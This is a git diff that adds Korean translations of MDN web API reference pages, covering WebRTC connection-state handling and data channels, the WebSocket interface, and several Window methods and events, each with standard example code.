마지막으로, "Hang Up" 버튼의 disabled property를 true로 바꿔서 call이 없는 동안에는 클릭이 불가능하게 만든다. 그 다음에 더이상 통화를 하지 않으므로 targetUsername을 null로 바꾼다. 이것을 통해 또 다른 유저에게 call을 하거나 새로운 call을 받을 수 있다.

+ +

Dealing with state changes

+ +

다양한 상태 변화를 너의 코드에 알리기 위해 listener를 세팅할 수 있는 다양한 이벤트들이 있다. 그 중에 다음 3가지를 사용하겠다.: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.

+ +
ICE connection state
+ +

커넥션 state가 바뀌면(예를들어, call이 다른쪽에서 중단 될 때) ICE layer가 iceconnectionstatechangeevent를 우리에게 보낸다.

+ +
function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}
+ +

ICE connection state가 "closed", 또는"failed", 또는 "disconnected"으로 바뀔 때 closeVideoCall()함수를 실행한다. 커넥션을 끊으며, 처음(또는 accept) call 상태로 돌아간다.

+ +
ICE signaling state
+ +

마찬가지로 signalingstatechangeevent를 받을 수 있는데, 시그널링 상태가 "closed"으로 바뀌면 call을 완전히 종료시킨다.

+ +
  myPeerConnection.onsignalingstatechange = function(event) {
+    switch(myPeerConnection.signalingState) {
+      case "closed":
+        closeVideoCall();
+        break;
+    }
+  };
+ +
ICE gathering state
+ +

{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but we're implementing it for logging, observing via the console log how the whole process works.

+ +
function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+
+ +

Next steps

+ +

You can now play with this sample to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on GitHub) has a lot of console output so you can see the signaling and connection processes at work.

diff --git a/files/ko/web/api/webrtc_api/using_data_channels/index.html b/files/ko/web/api/webrtc_api/using_data_channels/index.html new file mode 100644 index 0000000000..e1c5963e58 --- /dev/null +++ b/files/ko/web/api/webrtc_api/using_data_channels/index.html @@ -0,0 +1,95 @@ +--- +title: WebRTC data channel 사용하기 +slug: Web/API/WebRTC_API/Using_data_channels +translation_of: Web/API/WebRTC_API/Using_data_channels +--- +

{{WebRTCSidebar}}{{draft}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스를 사용하여 WebRTC Peerconnction을 연결하면 이제 두 Peer간의 커넥션을 통하여 미디어 데이터를 주고 받을수 있게됩니다. 그뿐아니라 WebRTC로 할수 있는 일은 더 있습니다. 이 가이드에서 우리는 peer connection에 데이터 채널을 추가하는 방법과 임의의 데이터, 즉 우리가 원하는 어떠한 포멧의 데이터들을 안전하게 주고 받는 방법을 배우게 될 것 입니다.        

+ +
+

모든 WebRTC 컴포넌트들은 암호화를 사용하게 되어 있기 때문에 RTCDataChannel을 이용하는 어떤 데이터 전송도 자동적으로 Datagram Transport Layer Security (DTLS)을 사용하여 암호화 됩니다. 자세한 내용은 {{anch("Security")}} 를 참고하십시오.

+
+ +

데이터 채널 만들기

+ +

{{domxref("RTCDataChannel")}}를 이용한 기초적인 데이터 전송은 아래의 두 방법중 하나를 이용하여 만들수 있습니다.

+ + + +

위에서 언급한 두가지 방법을 각각 살펴보겠습니다. 우선은 가장 일반적으로 사용되는 첫번째 방법부터 살펴보겠습니다.

+ +

자동 협상(Automatic negotiation)

+ +

{{domxref("RTCDataChannel")}} 연결의 협상을 핸들링하기 위해 대부분 Peer 연결을 사용하게 됩니다. 이를 위해 간단히 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 지정하지 않고 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 를 호출하거나 그저 false로 설정합니다. 이 행위는 협상을 핸들링하기 위해 자동적으로 RTCPeerConnection를 발동시키고 원격 피어(remote peer)가 데이터 채널을 만들고 네트워크를 통하여 서로를 연결되게 만듭니다.

+ +

createDataChannel()를 통해 RTCDataChannel 객체가 즉시 반환됩니다. 그후 {{domxref("RTCDataChannel.open_event", "open")}}의 이벤트가 RTCDataChannel로 송신되는 것을 확인한다면 성공적으로 연결되었다고 말할 수 있습니다. 

+ +
let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) => {
+  beginTransmission(dataChannel);
+});
+ +

수동 협상(Manual negotiation)

+ +

Data channel의 수동협상을 위해서 우선 {{domxref("RTCPeerConnection")}}에 있는  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} 매소드를 사용하여 {{domxref("RTCDataChannel")}} 객체를 생성해야 합니다. 이때 {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} 프로퍼티의 값을 true로 설정해야 합니다. 이 피어 연결을 위한 신호들은 설정하는 측의 피어 연결 협상을 시도하지 않도록 합니다.

+ +

대역외의 연결 협상은 웹서버나 다른 방법을 이용해야 합니다. 이 절차들은 수동으로 RTCDataChannel을 원격 피어에게 신호를 보내야 하며 동일한 {{domxref("RTCDataChannel.id", "id")}}를 사용해야 하고 negotiated 프로퍼티는 true로 설정해야합니다. 이 설정들은  RTCPeerConnection를 이용해 두 오브젝트가 연결되게 합니다.

+ +
let dataChannel = pc.createDataChannel("MyApp Channel", {
+  negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) => {
+  beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);
+ +

위의 코드에서는 채널 생성시 negotiated 프로퍼티를 true로 설정해주었고 requestRemoteChannel()을 호출함으로 원격 채널과 동일한 로컬 채널 ID를 만들기 위한 협상(negotiation)을 발동시켰습니다.

+ +

이 절차를 밟으므로서 다른 프로퍼티를 갖는 각각의 피어들이 데이터 채널을 생성하고 같은 id 값을 사용하는 채널을 명확하고 쉽게 생성할수 있습니다.

+ +

버퍼링(Buffering)

+ +

WebRTC 데이터채널은 아웃바운드 데이터에 대해 버퍼링을 제공합니다. 이것은 자동적으로 처리가됩니다. buffer의 사이즈를 컨트롤 할 수 없는 동안 당신은 얼마나 많은 데이터가 현재 버퍼 되어 있는지 배울 수 있고 큐 데이터의 버퍼가 고갈되기 시작할 때 알림을 받도록 선택할 수 도 있습니다. 이것은 메모리 과다사용이나 채널을 완전히 밀어내버리는 것을 없애고 언제나 데이터를 보낼수 있도록 효과적인 루틴을 만들기 쉽게 해줍니다. 

+ +

<<<write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here>>>

+ +

...

+ +

메세지 크기 제한에 대해 이해하기

+ +

네트워크를 통하여 전송되는 데이터라면 그 데이터는 반드시 사이즈가 제한됩니다. 기초적인 레벨의 이야기를 하자면, 각각의 네트워크 패킷은 어떠한 값보다 클 수 없습니다. (정확한 숫자는 네트워크와 전송 계층이 사용하고 있는 것에 따라 다릅니다.) 어플리케이션 계층에서는 — 즉 당신의 코드가 돌아가고 있는 WebRTC {{Glossary("user agent", "user agent's")}} — WebRTC가 네트워크의 전송계층위의 최대 패킷사이즈보다 메시지가 더 큰지 확인하는 것을 구현할 수 있습니다.

+ +

만약 당신이 사이즈 제한 크기가 궁금하지 않다거나 대용량 메세지를 보내거나 받는 것이 필요하지 않다면 이 이야기는 복잡한 이야기가 될 수 있습니다.  Even when user agents share the same underlying library for handling Stream Control Transmission Protocol (SCTP) data, there can still be variations due to how the library is used. 예를들어 Firefox와 구글 크롬은 SCTP를 구현하기 위해 usrsctp 라이브러리를 사용합니다. 이때 그  두 브라우저가 어떻게 라이브러리에 요청하고 이벤트에 반응하는지에 따라 RTCDataChannel 을 이용한 데이터 전송이 실패하는 경우가 있습니다.

+ +

두 유저가 파이어폭스에 있는 데이터채널을 사용하여 통실할 때 메세지 사이즈의 제한은 파이어폭스와 크롬을 각각 사용할 때보다 큽니다. 왜냐하면 파이어폭스의 구현 방법은 현재 다중 SCTP메세지를 전송하는 기술을 deprecated하여 놓았습니다. 하지만 크롬은 여전히 가능합니다. 크롬은 완성 될것이라 확신하는 메시지 시리즈를 보는 대신 RTCDataChannel을 다중 메시지로서 수신하는 것으로 대채할 것입니다. 

+ +

메세지가 16kiB 작다면 별다른 무리 없이 보낼 수 있을 것 입니다. 대부분의 메이저 user agents도 동일하게 다룹니다. 

+ +

대용량 메세지에 대해 고려해보기

+ +

현재 메세지 사이즈가 64kiB (16kiB if you want to support cross-browser exchange of data)를 넘는 RTCDataChannel 는 구현되지 않았습니다. 문제는 RTCDataChannel에서 송수신 프로토콜로 사용되는 SCTP가 원래 시그널링 프로토콜로 디자인 되었다는 것 입니다. 그래서 메세지가 상대적으로 작은 사이즈라고 가정하고 만들어진 프로토콜입니다.  Support for messages larger than the network layer's {{interwiki("wikipedia", "Maximum transmission unit", "MTU")}} was added almost as an afterthought, in case signaling messages needed to be larger than the MTU. 이 기능은 각각의 조각에 연속적인 시퀀스 번호를 필요로 합니다. 즉 상호배치를 통해 동시에 여러 데이터를 보낼 수 없고 하나를 보낸 이후 다시 하나를 보내야 합니다.

+ +

이러한 점은 문제가 됩니다.  지금 그리고 이후에도 WebRTC를 구현하고 있는 것들을 포함한 다양한 어플리케이션 들이 더욱더 큰 메시지를 전송하기 위해 SCTP를 사용합니다. 결국에 메시지가 감당할수 없을 만큼 커지게 된다면 정말 중요한 시그널링 메시지를 포함한 데이터 채널에서 전송되는 모든 다른 데이터들이 블락당할수 있다는 것을 알게되었습니다.

+ +

이것은 브라우저가 현재의 대용량 메시지를 처리하는 표준인 end-of-record(EOR) 플레그 (메시지가 여러 시리즈에서 마지막일때 하나의 페이로드로서 취급하게하는 플레그)를 제공할때 문제가 됩니다. 이 플레그는 Firefox 57에서는 구현이 되어있습니다. 그러나 Chrome 에서는 아직 구현이 되어있지 않습니다.(Chromium Bug 7774 참조). EOR를 제공하는 RTCDataChannel 페이로드는 더욱 커질 수 있습니다. (공식적으로 256kiB까지이며 Firfox의 구현으로는 1GiB까지가능). 256kiB에서 조차 긴급한 트래픽을 처리하기에는 유의미한 지연을 야기시키에 충분히 큰 용량입니다. 만약 여기서 더 커진다면 지연은 당신이 특정한 조작을 하더라도 줄일수 없을 것입니다.

+ +

이러한 문제점을 해결하기 위해 스트림 스케쥴러(stream schedulers)라고하는 이름지어져 있으며 SCTP ndata specification이라고도 불리우는 새로운 시스템을 디자인하였습니다. 이 스케쥴러는 WebRTC 데이터 채널에 구현되어 있는 스트림을 포함한 각기 다른 스트림에 메시지를 상호배치하여 전송가능합니다. 이 제안은 IETF 제안(draft form) 상태에 있지만 한번 구현된다면 SCTP 계층은 자동적으로 서브메시지들에게 모든 데이터 채널을 통과할수 있는 기회를 보장하는 상호배치를 하기때문에 기본적으로 사이즈에 제한이 없는 메시지를 보낼수 있게될것입니다.

+ +

Firefox는 ndata를 지원하기 위해 현재 구현단계에 있습니다. 일반적인 사용이 언제쯤 가능할지에 대해 궁금하시다면 {{bug(1381145)}} 을 관심있게 보고 계십시요. Chrome 팀은 Chrome Bug 5696 를 통해 ndata 지원을 위한 구현을 트래킹하고 있습니다.

+ +
+

이 섹션에 있는 대부분의 정보는 다음 블로그 포스트를 기반으로 작성되었습니다. Demystifyijng WebRTC's Data Channel Message Size Limitations, written by Lennart Grahl. 이 블로그를 보시면 더욱 자세한 내용이 나와 있습니다. 그러나 브라우져들은 당시보다 업데이트 되었기때문에 그 정보들은 현재와 맞지 않을 수 도 있습니다. 또한 현재는 시간이 많이 흘러 대부분의 메이저 브라우저에서는 EOR이 구현되어 있습니다.

+
+ +

보안(Security)

+ +

WebRTC로 전송되는 모든 데이터는 암호화됩니다.  RTCDataChannel 의 암호화는Transport Layer Security (TLS)를 바탕으로 하는 Datagram Transport Layer Security (DTLS)를 사용합니다. TLS는 모든 암호화된 HTTPS 통신에 사용되기 때문에 data channel에 사용되는 모든 데이터는 사용자의 브라우저가 데이터를 주고받는 만큼의 보안이 보장됩니다.

+ +

조금더 근본적으로 WebRTC는 두 사용자간의 peer-to-peer 연결이기때문에 데이터가 어떠한 다른 웹이나 어플리케이션 서버를 경유하지 않습니다. 이러한 통신방식으로 인해 데이터가 중간에 가로채어질 가능성이 줄어듭니다.

diff --git a/files/ko/web/api/websocket/index.html b/files/ko/web/api/websocket/index.html new file mode 100644 index 0000000000..59bbb8aac9 --- /dev/null +++ b/files/ko/web/api/websocket/index.html @@ -0,0 +1,248 @@ +--- +title: WebSocket +slug: Web/API/WebSocket +tags: + - API +translation_of: Web/API/WebSocket +--- +
{{APIRef("Web Sockets API")}}{{SeeCompatTable}}
+ +

WebSocket 객체는 서버와의 WebSocket 연결을 생성하고 관리할 수 있는 API 들을 제공합니다. 이는 데이터를 전송하거나 주고 받는 등의 API 들을 포함합니다.

+ +

WebSocket 생성자는 하나의 필수 파라미터와, 하나의 옵셔널 파라미터를 받습니다:

+ +
WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+
+ +
+
url
+
연결할 URL 주소입니다; 웹소켓 서버가 응답할 수 있는 위치의 주소이여야 합니다.
+
protocols {{optional_inline}}
+
단일 프로토콜 문자열, 또는 프로토콜 문자열의 배열. 이 문자열들은 서브 프로토콜을 지정하는데 사용됩니다. 이를 통해 하나의 웹소켓 서버가 여러개의 웹 소켓 서브 프로토콜을 구현할 수 있도록 해줍니다. (예를 들어, 하나의 서버가 두 개 이상의 커뮤니케이션 방식을 가지고 싶도록 하고 싶을 때). 만약 지정하지 않으면 빈 문자열을 넣은 것으로 간주됩니다.
+
+ +

이 생성자는 예외가 발생할 수 있습니다:

+ +
+
SECURITY_ERR
+
The port to which the connection is being attempted is being blocked.
+
+ +

메소드 오버뷰

+ + + + + + + + + + +
void close(in optional unsigned long code, in optional DOMString reason);
void send(in DOMString data);
+ +

어트리뷰트

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
binaryType{{DOMXref("DOMString")}}A string indicating the type of binary data being transmitted by the connection. This should be either "blob" if DOM {{domxref("Blob")}} objects are being used or "arraybuffer" if {{jsxref("ArrayBuffer")}} objects are being used.
bufferedAmountunsigned longThe number of bytes of data that have been queued using calls to {{manch("send")}} but not yet transmitted to the network. This value does not reset to zero when the connection is closed; if you keep calling {{manch("send")}}, this will continue to climb. Read only
extensions{{DOMXref("DOMString")}}The extensions selected by the server. This is currently only the empty string or a list of extensions as negotiated by the connection.
onclose{{domxref("EventListener")}}WebSocket 인터페이스의 연결상태가 readyState 에서CLOSED 로 바뀌었을 때 호출되는 이벤트 리스너입니다. 이 이벤트 리스너는 "close"라는 이름의 CloseEvent를 받습니다.
onerror{{domxref("EventListener")}}"error" 라는 이름의 이벤트가 발생하면 처리할 핸들러입니다. 이는 에러가 발생하는 상황에 호출됩니다.
onmessage{{domxref("EventListener")}}"message" 이름의 MessageEvent 이벤트가 발생하면 처리할 핸들러입니다. 이는 서버로부터 메세지가 도착했을 때 호출됩니다.
onopen{{domxref("EventListener")}}WebSocket 인터페이스의 연결상태가 readyState 에서 OPEN으로 바뀌었을 때 호출되는 이벤트 리스너입니다. ; 연결 상태가 OPEN으로 바뀌었다는 말은 데이터를 주고 받을 준비가 되었다는 뜻입니다. 이 리스너가 처리하는 이벤트는 "open"이라는 이벤트 하나입니다.
protocol{{DOMXref("DOMString")}}서버에 의해 선택된 서브 프로토콜을 가리킵니다; 이 값은 객체를 생성하면서 protocols 파라미터에 전달했던 값 들 중 하나입니다.
readyStateunsigned short연결의 현재 상태입니다; 값은 {{anch("Ready state constants")}} 중에 하나입니다. 읽기 전용.
url{{DOMXref("DOMString")}}생성자에 의해 해석된 URL입니다. 이는 항상 절대 주소를 가리킵니다. 읽기 전용.
+ +

상수

+ +

Ready state constants

+ +

아래의 값들은 readyState 어트리뷰트가 웹소켓의 연결 상태를 나타내기 위해서 사용됩니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
CONNECTING0연결이 수립되지 않은 상태입니다.
OPEN1연결이 수립되어 데이터가 오고갈 수 있는 상태입니다.
CLOSING2연결이 닫히는 중 입니다.
CLOSED3연결이 종료되었거나, 연결에 실패한 경우입니다.
+ +

메소드

+ +

close()

+ +

맺어진 연결, 또는 연결 시도를 종료합니다. 이미 종료된 경우에는 아무 동작도 하지 않습니다.

+ +
void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+
+ +

Parameters

+ +
+
code {{optional_inline}}
+
연결이 종료되는 이유를 가리키는 숫자 값입니다. 지정되지 않을 경우 기본값은 1000으로 간주됩니다. (일반적인 경우의 "transaction complete" 종료를 나타내는 값).  허용되는 값들은 CloseEvent 페이지의  list of status codes 를 참고하세요.
+
reason {{optional_inline}}
+
연결이 왜 종료되는지를 사람이 읽을 수 있도록 나타내는 문자열입니다. 이 문자열은 UTF-8 포멧이며, 123 바이트를 넘을 수 없습니다. (글자 수 아님).
+
+ +

Exceptions thrown

+ +
+
INVALID_ACCESS_ERR
+
잘못된 code 값을 지정했습니다.
+
SYNTAX_ERR
+
reason 값이 너무 길거나, 짝을 이루지 못하는 서로게이트 문자가 있습니다.
+
+ +
+

Note: In Gecko, this method didn't support any parameters prior to Gecko 8.0 {{geckoRelease("8.0")}}.

+
+ +

send()

+ +

웹소켓 연결을 통해 데이터를 서버로 전송합니다.

+ +
void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+
+ +

Parameters

+ +
+
data
+
서버로 전송할 텍스트 메세지입니다.
+
+ +

Exceptions thrown

+ +
+
INVALID_STATE_ERR
+
연결이 현재 OPEN 상태가 아닙니다.
+
SYNTAX_ERR
+
data 값에 짝을 이루지 못하는 서로게이트 문자가 있습니다.
+
+ +
+

Note: Gecko's implementation of the send() method differs somewhat from the specification in {{Gecko("6.0")}}; Gecko returns a boolean indicating whether or not the connection is still open (and, by extension, that the data was successfully queued or transmitted); this is corrected in {{Gecko("8.0")}}.

+ +

As of {{Gecko("11.0")}}, support for {{jsxref("ArrayBuffer")}} is implemented but not {{domxref("Blob")}} data types.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Websockets", "#the-websocket-interface", "WebSocket")}}{{Spec2("Websockets")}}Initial definition
+ +

브라우저 호환성

+ +
{{Compat("api.WebSocket")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/websocket/readystate/index.html b/files/ko/web/api/websocket/readystate/index.html new file mode 100644 index 0000000000..c11bd76867 --- /dev/null +++ b/files/ko/web/api/websocket/readystate/index.html @@ -0,0 +1,71 @@ +--- +title: WebSocket.readyState +slug: Web/API/WebSocket/readyState +translation_of: Web/API/WebSocket/readyState +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.readyState 읽기 전용 속성은 {{domxref("WebSocket")}} 연결의 현재 상태를 반환한다.

+ +

Syntax

+ +
var readyState = aWebSocket.readyState;
+ +

Value

+ +

아래의 unsigned short 값들 중 하나 :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueStateDescription
0CONNECTING소켓이 생성되었다. 연결이 아직 열려 있지 않다.
1OPEN연결이 열려 있고, 통신할 준비가 되었다.
2CLOSING연결이 닫히는 중이다.
3CLOSED연결이 닫혔거나 열 수 없었다.
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-readystate', 'WebSocket: readyState')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.readyState")}}

diff --git a/files/ko/web/api/websocket/websocket/index.html b/files/ko/web/api/websocket/websocket/index.html new file mode 100644 index 0000000000..93951cf658 --- /dev/null +++ b/files/ko/web/api/websocket/websocket/index.html @@ -0,0 +1,51 @@ +--- +title: WebSocket() +slug: Web/API/WebSocket/WebSocket +translation_of: Web/API/WebSocket/WebSocket +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket() 생성자는 새로운 {{domxref("WebSocket")}} 객체를 반환한다.

+ +

Syntax

+ +
var ws = new WebSocket("ws://localhost:8080");
+ +

Parameters

+ +
+
url
+
연결할 곳의 URL; 웹소켓 서버가 응답할 수 있는 URL 값을 지정해줘야 한다.
+
protocols {{optional_inline}}
+
단일 혹은 여러개의 프로토콜 배열. 이 문자열들은 서브 프로토콜들을 가리킨다. 따라서 하나의 서버는 여러개의 서브 프로토콜을 구현할 수 있다. (예를 들면, 한 개의 서버에서 protocol에 따라 다양한 상호 작용 방식을 사용하기를 바랄 수 있다) . 만약 프로토콜을 지정해주지 않으면, 비어 있다고 간주한다.
+
+ +

Exceptions thrown

+ +
+
SECURITY_ERR
+
연결을 시도하는 포트가 닫혀 있을 때 발생한다.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.WebSocket")}}

diff --git a/files/ko/web/api/window/alert/index.html b/files/ko/web/api/window/alert/index.html new file mode 100644 index 0000000000..c6037986c3 --- /dev/null +++ b/files/ko/web/api/window/alert/index.html @@ -0,0 +1,71 @@ +--- +title: Window.alert() +slug: Web/API/Window/alert +tags: + - API + - HTML DOM + - Method + - Reference + - Window +translation_of: Web/API/Window/alert +--- +

{{APIRef}}

+ +

Window.alert() 메서드는 확인 버튼을 가지며 메시지를 지정할 수 있는 경고 대화 상자를 띄웁니다.

+ +

구문

+ +
window.alert([message]);
+ +

매개변수

+ +
+
message {{optional_inline}}
+
경고 대화 상자에 표시할 텍스트 문자열이거나, 문자열로 변환해 나타낼 객체.
+
+ +

예제

+ +
window.alert("Hello world!");
+alert("Hello world!");
+
+ +

상기 두 코드의 동작은 모두 다음과 같습니다.

+ +

Image:AlertHelloWorld.png

+ +

참고

+ +

경고 대화 상자는 사용자의 확인을 제외한 다른 입력을 요구하지 않는 메시지를 전달할 때에 쓰여야 합니다.

+ +

대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML5 Web application', '#dom-alert', 'alert()')}}{{Spec2('HTML5 Web application')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.alert")}}

+ +

관련 문서

+ + diff --git a/files/ko/web/api/window/beforeunload_event/index.html b/files/ko/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..216b85ed7a --- /dev/null +++ b/files/ko/web/api/window/beforeunload_event/index.html @@ -0,0 +1,105 @@ +--- +title: 'Window: beforeunload 이벤트' +slug: Web/API/Window/beforeunload_event +tags: + - Event + - Reference + - Window + - 이벤트 +translation_of: Web/API/Window/beforeunload_event +--- +
{{APIRef}}
+ +

beforeunload 이벤트는 문서와 그 리소스가 언로드 되기 직전에 {{domxref("window")}}에서 발생합니다. 이벤트 발생 시점엔 문서를 아직 볼 수 있으며 이벤트도 취소 가능합니다.

+ + + + + + + + + + + + + + + + + + + + +
확산아니오
취소 가능
인터페이스{{domxref("Event")}}
이벤트 처리기 속성{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
+ +

beforeunload 이벤트를 사용하면 사용자가 페이지를 떠날 때 정말로 떠날 것인지 묻는 확인 대화 상자를 표시할 수 있습니다. 사용자가 확인을 누를 경우 브라우저는 새로운 페이지로 탐색하고, 취소할 경우 탐색을 취소하고 현재 페이지에 머무릅니다.

+ +

명세에 따라, 확인 대화 상자를 표시하려면 이벤트의 {{domxref("Event.preventDefault()", "preventDefault()")}}를 호출해야 합니다.

+ +

다만, 모든 브라우저가 위의 방법을 지원하는 것은 아니므로 아래의 두 가지 구형 방법을 사용해야 할 수도 있습니다.

+ + + +

일부 브라우저에서는 확인 대화 상자의 문구를 직접 지정할 수 있었습니다. 그러나 현재 대부분의 브라우저에서는 사용자 지정 문구를 사용하지 않으며 이 동작을 지원하지 않습니다.

+ +

원치 않는 팝업을 방지하기 위해, 브라우저는 사용자가 이벤트 발생 전에 현재 페이지와 상호작용을 했을 때만 대화 상자를 표시할 수도 있고, 심지어 아예 표시하지 않을 수도 있습니다.

+ +

window 또는 documentbeforeunload 이벤트 처리기를 부착하면 페이지가 브라우저의 메모리 내 탐색 캐시에 추가되는 것을 방지합니다.

+ +

HTML 명세는 이벤트 처리 중의 {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, 및 {{domxref("window.prompt()")}} 메서드를 무시할 수 있음을 요구합니다. HTML 명세에서 더 자세한 정보를 확인하세요.

+ +

예제

+ +

HTML 명세에 따르면 개발 시 {{domxref("Event.returnValue")}} 대신 {{domxref("Event.preventDefault()")}} 메서드를 사용해야 합니다. 그러나 모든 브라우저가 이 방법을 지원하는 것은 아닙니다.

+ +
window.addEventListener('beforeunload', (event) => {
+  // 표준에 따라 기본 동작 방지
+  event.preventDefault();
+  // Chrome에서는 returnValue 설정이 필요함
+  event.returnValue = '';
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.beforeunload_event")}}

+ +

{{domxref("WindowEventHandlers.onbeforeunload")}}에서 각각의 브라우저가 beforeunload를 어떻게 처리하는지 자세히 알아보세요.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/cancelanimationframe/index.html b/files/ko/web/api/window/cancelanimationframe/index.html new file mode 100644 index 0000000000..51c506a7e3 --- /dev/null +++ b/files/ko/web/api/window/cancelanimationframe/index.html @@ -0,0 +1,72 @@ +--- +title: window.cancelAnimationFrame() +slug: Web/API/Window/cancelAnimationFrame +tags: + - API + - DOM + - 레퍼런스 + - 메소드 + - 실험적 + - 애니메이션 + - 윈도우 +translation_of: Web/API/Window/cancelAnimationFrame +--- +
{{APIRef}}
+ +

window.cancelAnimationFrame() 메소드는 이전에 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 스케줄된 애니메이션 프레임 요청을 취소합니다.

+ +

구문

+ +
window.cancelAnimationFrame(requestID);
+
+ +

Parameters

+ +
+
requestID
+
요청된 콜백 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 반환된 ID 값.
+
+ +

예시

+ +
var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Firefox 에서만 지원됨. 다른 브라우저에서는 Date.now() 같은 것을 사용할 수 있음.
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress < 2000) {
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+
+cancelAnimationFrame(myReq);
+
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.cancelAnimationFrame")}}

+
+ +

명세

+ + + +

함께 보기

+ + diff --git a/files/ko/web/api/window/closed/index.html b/files/ko/web/api/window/closed/index.html new file mode 100644 index 0000000000..4c077bda92 --- /dev/null +++ b/files/ko/web/api/window/closed/index.html @@ -0,0 +1,70 @@ +--- +title: Window.closed +slug: Web/API/Window/closed +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/closed +--- +
{{APIRef}}
+ +

Window.closed 읽기 전용 속성은 참조한 창이 닫혔는지 여부를 나타냅니다.

+ +

구문

+ +
const isClosed = windowRef.closed;
+ +

+ +

창이 닫혔으면 true, 그렇지 않으면 false.

+ +

예제

+ +

팝업에서 자신을 띄운 창의 URL 바꾸기

+ +

다음 예제는 팝업 창에서 자신을 띄운 창의 {{glossary("URL")}}을 바꾸는 예제입니다. URL을 바꾸기 전, 현재 창을 띄운 창의 존재 유무를 {{domxref("window.opener")}} 속성으로 검사하고, closed 속성으로 이미 닫히지는 않았는지도 검사합니다.

+ +
// Check that an opener exists and is not closed
+if (window.opener && !window.opener.closed) {
+  window.opener.location.href = 'http://www.mozilla.org';
+}
+ +
+

참고: 팝업은 자신을 띄운 창에만 접근할 수 있습니다.

+
+ +

이전에 열었던 팝업 새로고침

+ +

이번 예제의 refreshPopupWindow()는 팝업의 {{domxref("Location.reload", "reload()")}} 메서드를 호출해 데이터를 다시 불러옵니다. 만약 팝업을 아직 열지 않았거나, 사용자가 이미 닫은 경우 새로운 팝업을 띄웁니다.

+ +
const popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow && !popupWindow.closed) {
+    // popupWindow is open, refresh it
+    popupWindow.location.reload(true);
+  } else {
+    // Open a new popup window
+    popupWindow = window.open('popup.html', 'dataWindow');
+  }
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-window-closed', 'window.closed')}}{{Spec2('HTML WHATWG')}}
